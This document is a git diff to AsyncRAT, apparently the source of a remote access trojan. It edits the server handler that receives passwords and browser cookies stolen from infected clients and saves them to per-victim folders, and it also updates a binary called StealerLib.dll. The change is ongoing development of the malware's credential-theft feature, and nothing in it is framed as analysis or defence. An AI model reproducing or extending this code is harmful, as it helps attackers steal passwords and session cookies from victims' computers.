diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs index d917263..77f5af4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs @@ -18,11 +18,20 @@ namespace AsyncRAT_Sharp.Handle_Packet try { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); - if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); - File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", unpack_msgpack.ForcePathObject("Password").AsString.Replace("\n", Environment.NewLine)); - File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", unpack_msgpack.ForcePathObject("Cookies").AsString.Replace("\n", Environment.NewLine)); - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); + string pass = unpack_msgpack.ForcePathObject("Password").AsString; + string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString; + if (!string.IsNullOrWhiteSpace(pass) || !string.IsNullOrWhiteSpace(cookies)) + { + if (!Directory.Exists(fullPath)) + Directory.CreateDirectory(fullPath); + File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); + File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine)); + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); + } + else + { + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); + } } catch { } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll index 9f68521..77f9adb 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll differ